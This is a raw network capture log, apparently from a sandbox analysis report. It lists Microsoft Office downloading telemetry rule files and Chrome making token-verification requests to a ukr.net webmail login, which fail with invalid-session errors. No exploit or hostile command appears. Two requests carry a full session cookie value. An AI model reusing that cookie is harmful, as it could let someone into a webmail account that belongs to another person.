2024-10-26 11:49:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:15 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114915Z-16849878b78wv88bk51myq5vxc0000000290000000005r75 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:16 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49837	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:15 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:16 UTC	498	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:15 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 62c536ba-f01e-003c-5995-278cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114915Z-r197bdfb6b4qbfppwgs4nqza8000000000pg000000001a9m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_REMOTE_HIT X-Cache-Info: L2_T1 Accept-Ranges: bytes
2024-10-26 11:49:16 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49834	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:16 UTC	817	OUT	POST /api/v1/token/verification/acquire HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive Content-Length: 9 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.ukr.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:16 UTC	9	OUT	Data Raw: 7b 22 75 69 64 22 3a 30 7d Data Ascii: {"uid":0}
2024-10-26 11:49:16 UTC	179	IN	HTTP/1.1 599 UNKNOWN Server: nginx Date: Sat, 26 Oct 2024 11:49:16 GMT Content-Type: application/json Content-Length: 27 Connection: close X-Upstream: 4110.10.20.49:5080
2024-10-26 11:49:16 UTC	27	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 69 6e 76 61 6c 69 64 5f 73 65 73 73 69 6f 6e 22 7d Data Ascii: {"error":"invalid_session"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49838	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:16 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:16 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 352988b4-001e-0065-3a25-260b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114916Z-17c5cb586f6zrq5bnguxgu7frc00000002tg000000002510 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:16 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49842	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:16 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:16 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: e2c56d39-d01e-0066-36df-25ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114916Z-15b8d89586fqj7k5h9gbd8vs980000000360000000002yu6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:16 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49840	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:16 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4a7bd2a8-301e-0096-209e-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114916Z-16849878b787wpl5wqkt5731b400000002tg0000000038r4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49843	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:16 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:17 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114916Z-16849878b78z2wx67pvzz63kdg00000000f0000000006xvz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:17 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49839	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:16 UTC	817	OUT	POST /api/v1/token/verification/acquire HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive Content-Length: 9 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.ukr.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:16 UTC	9	OUT	Data Raw: 7b 22 75 69 64 22 3a 30 7d Data Ascii: {"uid":0}
2024-10-26 11:49:17 UTC	179	IN	HTTP/1.1 599 UNKNOWN Server: nginx Date: Sat, 26 Oct 2024 11:49:17 GMT Content-Type: application/json Content-Length: 27 Connection: close X-Upstream: 4110.10.20.49:5080
2024-10-26 11:49:17 UTC	27	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 69 6e 76 61 6c 69 64 5f 73 65 73 73 69 6f 6e 22 7d Data Ascii: {"error":"invalid_session"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49841	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:16 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:16 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114916Z-16849878b78q4pnrt955f8nkx80000000ap0000000000be7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49844	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:17 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 03f0aa2d-d01e-007a-29f2-24f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114917Z-15b8d89586fqj7k5h9gbd8vs98000000034g0000000047cu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49846	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:17 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: d13b9d4f-c01e-0014-770d-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114917Z-17c5cb586f62blg5ss55p9d6fn00000002dg000000007ygx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49845	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:17 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:17 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114917Z-16849878b787bfsh7zgp804my400000000r000000000ascc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:17 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49847	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:17 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:17 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:17 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114917Z-16849878b787bfsh7zgp804my400000000ng00000000fk69 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
